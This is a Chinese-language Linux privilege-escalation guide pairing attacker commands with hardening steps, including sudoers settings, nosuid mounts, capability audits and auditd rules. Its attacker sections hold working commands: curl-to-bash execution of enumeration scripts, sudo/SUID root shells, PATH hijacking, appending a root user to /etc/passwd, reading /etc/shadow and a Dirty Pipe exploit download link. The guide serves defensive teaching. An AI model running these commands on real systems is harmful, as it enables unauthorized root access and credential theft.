Linux 权限提升攻防实战 2026:LinPEAS、GTFOBins 与 sudo/SUID 加固完整指南

更新时间: 2026年08月15日

Linux 权限提升(privilege escalation,privesc)是指低权限用户利用错误配置、SUID 二进制、sudo 规则、内核漏洞或不当授予的 capabilities,把 shell 从普通用户跃升到 root 的过程。作为渗透测试员,我拿到任意用户 shell 后的第一小时几乎都在做同一件事:跑 LinPEAS、翻 sudo -l、grep SUID、比对 GTFOBins。本文按攻击者思路把 2026 年 Linux 上仍然真实有效的 privesc 路径过一遍,每一条路径后面配对应的加固动作。你堵住它,我就得换一条路。

• 攻击者拿到低权限 shell 的前 60 分钟主要靠自动化枚举工具(LinPEAS、LinEnum、pspy)在 30 秒内列出全部可利用向量,防御方必须假设内部枚举必然发生。
• sudo NOPASSWD 规则加上任意 GTFOBins 收录的二进制(vim、find、awk、less、tar)几乎等于把 root 送出去,应改用最小命令白名单并强制 use_pty、logfile 与 requiretty。
• SUID/SGID 二进制是 2026 年最稳定的 privesc 起点:一次 find / -perm -4000 就能列出攻击面,应通过 nosuid 挂载、fs.suid_dumpable=0、以及用 systemd 服务替代传统 setuid 程序来收敛。
• Linux Capabilities 常被误当作"比 setuid 安全",但 cap_setuid、cap_dac_read_search、cap_sys_ptrace、cap_sys_module 单独任何一个都能等效于 root,必须逐 capability 审计。
• PwnKit(CVE-2021-4034)、Dirty Pipe(CVE-2022-0847)、nftables UAF(CVE-2024-1086)在 2026 年仍出现在真实内网 pentest 报告里,补丁滞后 6 个月以上的服务器占多数。
• 检测比阻断更可靠:auditd 加上 execve、connect、ptrace 规则,配合 Falco 或 Tetragon,可在攻击者跑 LinPEAS 时就产生高置信度告警。

Linux 权限提升是什么?攻击者的第一小时

Linux 权限提升的定义其实很简单:在同一台主机上,从一个 UID 移动到另一个更高权限的 UID(通常是 UID 0,即 root)。但在实战中它有很鲜明的时间特征。我拿到 www-data、jenkins、tomcat 这类服务账号的 reverse shell 后,前 60 分钟的操作几乎不涉及思考,全是自动化脚本在跑。这个阶段防御方能拦下多少,基本决定了整场事件响应的走向。

2026 年真实内网 pentest 里,常见的初始 shell 来源包括:未打补丁的 Confluence、GitLab、Jenkins RCE;WordPress 插件漏洞;弱口令 SSH 或 Redis 未授权;暴露的 Kubernetes API 或 Docker socket。这些漏洞把攻击者送到一个非 root shell 上。真正决定拿不拿得下服务器的,是接下来的 privesc 环节。防御方需要理解的核心事实是:privesc 几乎不需要 0day,90% 的路径来自配置错误、过期补丁、以及历史遗留的 setuid 程序。

典型的 privesc 决策树按代价从低到高排:sudo 规则,SUID 二进制,capabilities,cron 与写入路径,最后才是内核漏洞。攻击者一定会按这个顺序,因为前几项零风险且不留痕,内核 exploit 会 panic 系统并留下 dmesg 证据。防御方的加固优先级应该反过来,先堵最容易被利用的,再考虑内核层。

攻击者的枚举武器库:LinPEAS、LinEnum 与 pspy

拿到 shell 之后,我做的第一件事是把 LinPEAS 甩上去。LinPEAS(PEASS-ng 项目)是当前 privesc 枚举脚本里覆盖面最全的一个,单个 bash 脚本会自动检查数百项:sudo 规则、SUID/SGID、capabilities、可写 /etc/passwd、cron、内核版本对应已知 CVE、SSH 密钥、环境变量、Docker socket、Kubernetes token,并用颜色高亮"95% 是可利用向量"的条目。

# 攻击者视角:典型的落地流程
# 1) 从内存直接拉取执行,不落盘(绕过 fapolicyd/AV)
curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | bash

# 2) 只关心红色 + 黄色高亮(95%+ 可利用)
curl -sL .../linpeas.sh | bash | grep -E "95%|99%"

# 3) 输出重定向到 /tmp 加密文件,后续离线分析
curl -sL .../linpeas.sh | bash 2>&1 | \
    openssl enc -aes-256-cbc -pbkdf2 -k "$PASS" -out /tmp/.X11-unix/.enum

与 LinPEAS 并列的还有 LinEnum(更轻量,适合无 curl 的环境)和 pspy。pspy 特别值得单独说:它用无特权方式监控系统上所有进程的 execve、fork、以及 /proc 变化,不需要 root 就能看到 cron 何时以 root 身份跑了什么脚本、每一次 sudo 触发的完整命令行。这是发现"root 定时执行的脏活"的最快方法。

防御侧的对策不是禁止工具下载,攻击者会自带 base64 编码版本、内存执行、或用 bash<(curl) 绕过。真正有效的是让枚举本身触发告警:auditd 监控 execve 中的可疑字符串、Falco 检测短时间内大量 stat/read 系统调用异常、EDR 关注 /proc/*/environ 与 /etc/shadow 的读取失败。Linux auditd 审计框架的实战配置在这一节能提供完整的规则集参考。

sudo 配置滥用:从 sudo -l 到完全 root

拿到 shell 后我敲的第一条命令永远是 sudo -l。它列出当前用户被允许以哪个身份、执行哪些命令、是否需要密码。这一条命令的输出经常就是整场 pentest 的答案。

# 攻击者视角
$ sudo -l
User www-data may run the following commands on web01:
    (root) NOPASSWD: /usr/bin/find
    (root) NOPASSWD: /usr/bin/vim /etc/nginx/*.conf
    (root) NOPASSWD: /opt/backup/backup.sh

# 攻击 1:find + GTFOBins(经典)
$ sudo find /etc/hosts -exec /bin/sh -p \;
# 直接得到 root shell

# 攻击 2:vim 通配符 → 参数注入
$ sudo vim /etc/nginx/'-cmd=!/bin/sh'
# 参数被解释为 vim 命令行选项而非文件路径

# 攻击 3:backup.sh 是 shell 脚本 → 检查相对路径调用
$ cat /opt/backup/backup.sh
#!/bin/bash
tar -czf /backup/web.tgz /var/www/
$ echo -e '#!/bin/bash\nchmod u+s /bin/bash' > /tmp/tar
$ chmod +x /tmp/tar
$ PATH=/tmp:$PATH sudo /opt/backup/backup.sh
# PATH 劫持,tar 被替换为恶意脚本

三个攻击面对应三个加固动作。第一,任何允许通过 sudo 运行 find、awk、sed、less、man、tar、vim、nmap 的规则都等价于直接给 root。去 GTFOBins 查一下当前 sudo 白名单里的每个二进制,凡是有 Sudo 章节的就是漏洞。第二,sudoers 里不要用通配符匹配文件参数,尤其是 *.conf 这种模式,攻击者可以用 -- 之前的参数注入 shell。第三,允许运行的脚本必须用绝对路径调用所有二进制,并且脚本本身不能被非 root 用户写入。

# /etc/sudoers.d/hardened-backup(生产级配置示例)
Defaults    use_pty
Defaults    logfile="/var/log/sudo.log"
Defaults    !visiblepw
Defaults    env_reset
Defaults    secure_path="/sbin:/bin:/usr/sbin:/usr/bin"
Defaults    requiretty
Defaults    passwd_timeout=1

# 明确到具体参数,不用通配符
Cmnd_Alias BACKUP = /opt/backup/backup.sh
webops ALL=(root) NOPASSWD: BACKUP

另外,启用 use_pty 会强制通过伪终端执行,可以阻断某些通过 sudo 的 TTY 劫持。logfile 让每一条 sudo 命令留痕并推送到远端 syslog。老实说,攻击者拿到 root 后第一件事就是 rm /var/log/sudo.log,所以本地日志不算数,必须实时外发。

SUID/SGID 二进制利用与 GTFOBins 查询

SUID(set-user-id)位让二进制在执行时以文件所有者的权限运行,而不是调用者的权限。绝大多数漏洞不是 SUID 位本身,而是允许 SUID 的程序保留了危险的功能,比如写文件、执行任意命令、读任意路径。攻击者的枚举命令永远是这一条:

# 攻击者视角:列出所有 SUID root 二进制
find / -perm -4000 -user root -type f 2>/dev/null

# 更精确:SUID 且不属于发行版默认清单
find / -perm -4000 -user root -type f -newer /etc/mtab 2>/dev/null

# 一次性对照 GTFOBins:cat 出所有可利用二进制
for b in $(find / -perm -4000 -type f 2>/dev/null); do
    name=$(basename "$b")
    curl -s "https://gtfobins.github.io/gtfobins/$name/" | \
        grep -q "SUID" && echo "[!] EXPLOITABLE SUID: $b"
done

GTFOBins 是当前最全的"Unix 二进制到 privesc 技术"映射,涵盖 400 多个常见二进制,每一条都标注了它在 sudo、SUID、capabilities、limited-shell 等场景下能不能被利用。举几个 2026 年仍高频出现的实战案例:

# 1) SUID 的 env → 直接 root shell
$ ls -la /usr/bin/env
-rwsr-xr-x 1 root root ... /usr/bin/env
$ /usr/bin/env /bin/sh -p

# 2) SUID 的 nmap(老版本)→ 交互模式
$ nmap --interactive
nmap> !sh

# 3) SUID 的 python3.13 → 保留 EUID
$ python3.13 -c 'import os; os.setuid(0); os.system("/bin/sh")'

# 4) SUID 的 cp → 覆盖 /etc/passwd
$ echo 'r00t::0:0:root:/root:/bin/sh' >> /tmp/passwd
$ cp /tmp/passwd /etc/passwd
$ su r00t

加固分三层。系统层:用 mount -o remount,nosuid 把 /tmp、/var/tmp、/dev/shm、/home 挂载为 nosuid,阻断攻击者上传自己的 SUID 二进制;把 fs.suid_dumpable=0、kernel.dmesg_restrict=1 写进 /etc/sysctl.d/。程序层:定期审计 SUID 清单,能删的位就 chmod u-s,不能删的迁移到 systemd 服务并用 socket activation 提供接口,让调用方通过受限的 IPC 而不是 setuid 交互。systemd 服务安全加固实战里的 NoNewPrivileges=yes 与 CapabilityBoundingSet 是替代传统 setuid 的现代做法。策略层:SELinux 或 AppArmor 强制访问控制把即使被拿到 root shell 后的横向移动也限制在一个 domain 里。

Linux Capabilities 滥用:被低估的 root 等效权限

Linux Capabilities 把传统的 root 万能权限拆分成 40 多个细粒度能力,理论上让服务只申请自己需要的那部分。但真实部署里,capabilities 常被当作"比 setuid 更安全"而被随意授予。事实上以下任何一个 capability 单独存在都能让攻击者获取完整 root 权限。man 7 capabilities 是权威参考,但它不会告诉你哪些是"root 等效"。

Capability	合法用途	攻击利用方式	危险等级
CAP_SETUID	切换 UID(如 sudo、su)	直接 setuid(0) 提权	致命
CAP_DAC_READ_SEARCH	绕过文件读检查(备份程序)	读 /etc/shadow、/root/.ssh/	致命
CAP_SYS_PTRACE	attach 到其他进程调试	注入 shellcode 到 root 进程	致命
CAP_SYS_MODULE	加载/卸载内核模块	insmod 恶意 LKM → rootkit	致命
CAP_SYS_ADMIN	大杂烩(mount、swap 等)	近乎等同 root,60+ 攻击面	致命
CAP_CHOWN	修改任意文件所有者	chown /etc/shadow → 修改	高
CAP_NET_RAW	发送原始网络包(ping)	ARP 欺骗、中间人	中

# 攻击者视角:枚举 capabilities
getcap -r / 2>/dev/null

# 输出示例
/usr/bin/python3.13 = cap_setuid+ep
/usr/local/bin/tcpdump = cap_net_raw,cap_net_admin=eip

# 利用 CAP_SETUID 的 python
python3.13 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# 利用 CAP_DAC_READ_SEARCH 的 tar
# (常见于第三方备份代理)
tar -cf /tmp/shadow.tar /etc/shadow
tar -xf /tmp/shadow.tar -C /tmp/
cat /tmp/etc/shadow

加固原则:任何设置了 cap_setuid、cap_sys_admin、cap_sys_module、cap_sys_ptrace、cap_dac_read_search、cap_dac_override 的二进制都要被视为等同 SUID root,加入 baseline 审计。容器场景下,启动参数必须显式 --cap-drop=ALL 再按需 --cap-add,永远不要在生产用 --privileged。Kubernetes Pod 里通过 securityContext.capabilities.drop: ["ALL"] 强制。

PwnKit、Dirty Pipe 与 2026 年仍有效的内核漏洞

内核漏洞是 privesc 的最后一招,但也是最"稳定"的:补丁滞后是普遍问题。2026 年在真实内网 pentest 中,我仍然规律性地遇到以下几个:

• PwnKit(CVE-2021-4034):polkit 的 pkexec 通过参数注入实现本地提权。任何装了 polkit 的发行版(几乎所有桌面版和大多数服务器)都受影响。exploit 只需要几行 C 代码,不需要 shellcode 也不会 panic 系统。补丁在 2022 年 1 月发布,但 2026 年我仍在未及时更新的 CentOS 7、Ubuntu 18.04、老 Debian 上遇到。
• Dirty Pipe(CVE-2022-0847):Linux 5.8 到 5.16.10 之间的 pipe 缓冲区漏洞,允许覆盖任意只读文件,包括 /etc/passwd 与 SUID 二进制。exploit 简洁到 100 行以内。
• nftables UAF(CVE-2024-1086):2024 年披露的 use-after-free,影响 Linux 5.14 到 6.6。有稳定的 PoC。
• OverlayFS(CVE-2023-0386):容器逃逸加主机提权二合一。

# 攻击者视角:快速识别可利用内核漏洞
$ uname -r
5.15.0-101-generic

# LinPEAS 会自动匹配 CVE 数据库
# 手动:用 linux-exploit-suggester
curl -sL https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh | bash

# 输出示例
[+] [CVE-2022-0847] DirtyPipe
   Exposure: probable
   Tags: ubuntu=20.04,fedora=34
   Download URL: https://haxx.in/files/dirtypipez.c

防御端:补丁是唯一根本解,但补丁窗口从来做不到零。缓解层要用起来,kernel lockdown 模式限制 root 对内核内存的写入,SELinux 与 AppArmor 限制 pkexec 与 mount 的调用面,LKRG 1.0 内核运行时防护可以在 exploit 触发时冻结进程。云环境应启用 kexec_load_disabled=1、kernel.unprivileged_userns_clone=0、kernel.perf_event_paranoid=3。

可写路径、cron 任务与 PATH 劫持

不需要 exploit 的 privesc,往往来自最普通的配置错误:一个 root cron 里的相对路径,一个 /etc/passwd 的错误权限,一个开发者留在 /opt 下的 world-writable 脚本。上一个项目里我就直接靠一个每分钟以 root 跑一次的 /opt/monitor/health.sh(权限 777)拿下的域控。

# 攻击者视角:三个必查项

# 1) 可写 /etc/passwd(直接加 root 用户)
$ ls -la /etc/passwd
-rw-rw-rw- 1 root root ... /etc/passwd  # bingo
$ openssl passwd -1 -salt xyz p@ss
$1$xyz$xxx
$ echo 'r00t:$1$xyz$xxx:0:0:root:/root:/bin/bash' >> /etc/passwd

# 2) 可写 systemd unit / service 目录
$ find /etc/systemd/ /lib/systemd/ -writable 2>/dev/null

# 3) root cron 里的可写脚本
$ cat /etc/crontab
* * * * * root /opt/monitor/health.sh
$ ls -la /opt/monitor/health.sh
-rwxrwxrwx  # 每分钟以 root 跑一次任意代码

# 4) cron PATH 劫持(如果 cron PATH 包含用户可写目录)
$ cat /etc/crontab
PATH=/home/dev/bin:/usr/bin
* * * * * root backup.sh
# 攻击者在 /home/dev/bin/ 下放同名 backup.sh

加固:所有 /etc、/opt、/usr/local 下的可执行脚本严格 chmod 750 或 755 且 owner=root;cron 脚本内部必须用绝对路径调用二进制;/etc/passwd、/etc/shadow、/etc/sudoers 由 auditd 监控 write 事件;禁用 world-writable directory 的 sticky bit 检查(find / -type d -perm -0002 ! -perm -1000)。

如何检测权限提升行为?auditd 与 eBPF 告警

阻断做不到 100%,检测必须补上。auditd 是 Linux 上最成熟的系统调用审计框架,可以精准匹配"用户 X 执行了 Y",配合 SIEM 或 MITRE ATT&CK 映射可以在攻击者 recon 阶段就产生告警。

# /etc/audit/rules.d/privesc-detection.rules

# 检测 SUID/SGID 二进制的执行(异常执行触发)
-a always,exit -F arch=b64 -S execve -F euid=0 -F auid>=1000 -F auid!=-1 -k suid_exec

# 检测 sudo 与 su 调用
-w /usr/bin/sudo -p x -k sudo_exec
-w /etc/sudoers -p rwa -k sudoers_change
-w /etc/sudoers.d/ -p rwa -k sudoers_change

# 检测 setuid/setgid 系统调用
-a always,exit -F arch=b64 -S setuid,setgid,setresuid,setresgid -k setid

# 检测敏感文件访问
-w /etc/shadow -p r -k shadow_read
-w /etc/passwd -p wa -k passwd_write

# 检测枚举工具的典型行为(短时间大量 stat)
-a always,exit -F arch=b64 -S ptrace -k ptrace

# 检测内核模块加载
-w /sbin/insmod -p x -k module_load
-w /sbin/modprobe -p x -k module_load
-a always,exit -F arch=b64 -S init_module,delete_module -k module_syscall

更现代的方案是用 eBPF 工具。Falco 有 default rules 覆盖 privesc 场景(Sudo Potential Privilege Escalation、Shell in Container、Suspicious Cron Modification),Tetragon 可以做进程级的强制阻断而不只是告警。关键告警字段:auid(原始登录 uid)、pid、ppid、comm、cmdline。auid 是被审计的用户身份,即使攻击者提权成 root,auid 仍保留原始账号,可以追溯到具体的入侵账户。

防御纵深加固清单

把前面提到的加固动作汇总成一个可执行清单,按优先级排序,前 5 项覆盖 80% 的 privesc 路径。

1. sudo 白名单收敛:审计 sudo -l 输出,清理所有 NOPASSWD 规则中的 GTFOBins 收录二进制;启用 use_pty、requiretty、logfile。
2. SUID baseline + 定期 diff:安装后立刻建立 SUID 清单,每日 cron 比对增量,新增触发告警;/tmp、/dev/shm、/home 强制 nosuid 挂载。
3. Capabilities 审计:getcap -r / 检查所有非 baseline 的 capabilities,任何 cap_setuid、cap_sys_admin、cap_sys_module 视同 SUID root 处理。
4. 补丁与内核加固:PwnKit、Dirty Pipe、nftables UAF、OverlayFS 逃逸这几个 2026 年仍有效的洞必须打;启用 kernel.unprivileged_userns_clone=0、kernel.kptr_restrict=2、fs.protected_hardlinks=1、fs.protected_symlinks=1。
5. MAC 策略:SELinux enforcing 或 AppArmor 强制模式,即使拿到 root shell,横向移动仍被域限制;SELinux CIL 策略实战提供 RHEL 10 上的完整配置。
6. auditd + Falco 检测:上文规则集部署到所有生产主机,日志实时外发到 SIEM,不依赖本地存储。
7. 用户与账号治理:PAM pam_faillock 锁定暴力破解;禁用 nologin 用户的 shell;定期审计 /etc/passwd 与 /etc/group 的 UID 0 条目,只应该有一个 root。
8. 不可变根文件系统:云原生场景优先选择 immutable OS(Fedora CoreOS、Bottlerocket、Talos),从根本上消除写入型 privesc。

加固不是一次性的项目而是持续过程。攻击者只需要找到一条路径,防御方需要把所有路径都堵上。渗透测试报告里最有价值的部分从来不是"我们打下了这台服务器",而是"这一条路径被谁在什么时候引入,后续如何避免重现"。

常见问题

Linux 权限提升最常见的原因是什么?

不是 0day 内核漏洞,而是配置错误。占比最高的三类是:sudo NOPASSWD 允许运行 GTFOBins 收录的二进制(vim、find、awk、less、tar 等)、非默认 SUID root 二进制、以及被误授的 Linux capabilities(cap_setuid、cap_sys_admin)。补丁滞后的服务器上,PwnKit(CVE-2021-4034)与 Dirty Pipe(CVE-2022-0847)也仍然是常见路径。

如何检查 Linux 系统上的所有 SUID 二进制?

用 find / -perm -4000 -user root -type f 2>/dev/null 列出全部 SUID root 二进制。SGID 用 -perm -2000。建议安装后立刻把结果保存为 baseline(find / -perm -4000 -type f | sort > /etc/suid-baseline),之后每日通过 cron 与 baseline diff,新增项目触发告警,这比事后审计有效得多。

LinPEAS 是什么?渗透测试为什么必用?

LinPEAS 是 PEASS-ng 项目下的 Linux privilege escalation 自动化枚举脚本,单个 bash 文件覆盖数百项 privesc 检查:sudo 规则、SUID/SGID、capabilities、可写文件、内核 CVE 匹配、SSH 密钥、Docker/K8s 泄露等,并用颜色标注可利用置信度。渗透测试员用它是因为 30 秒内可以列出全部初始攻击向量,节省人工枚举时间。

GTFOBins 是什么?怎么用来检查 sudo 配置漏洞?

GTFOBins(gtfobins.github.io)是一个社区维护的 Unix 二进制清单,记录了 400 多个常见二进制在被误用时(sudo、SUID、capabilities、shell 逃逸场景下)如何实现权限提升或绕过限制。检查方法:把当前 sudo NOPASSWD 白名单里的每个二进制名去 GTFOBins 搜索,凡是页面有 "Sudo" 章节的都是配置漏洞。

PwnKit(CVE-2021-4034)在 2026 年还能利用吗?

能。补丁在 2022 年 1 月发布,但未及时打补丁的 CentOS 7、Ubuntu 18.04、Debian 10 与部分保守的企业镜像上,pkexec 二进制仍然是脆弱版本。检查方法:pkexec --version,受影响版本低于 polkit 0.120。缓解:如果暂时无法升级,可以 chmod 0755 /usr/bin/pkexec 移除 SUID 位,大多数环境并不真的需要它。

怎么检测服务器上有人在跑 LinPEAS?

auditd 规则监控 execve 中的 linpeas/linenum/pspy 字符串,以及短时间内异常大量的 stat、read、getcap 调用;Falco 有 Sensitive Mount by Container、Read Sensitive File 等规则可以命中;EDR 关注 /etc/shadow、/root/.ssh/、/proc/*/environ 的读取失败集群。攻击者会用 base64 或内存执行绕过文件名匹配,所以行为特征比字符串更可靠。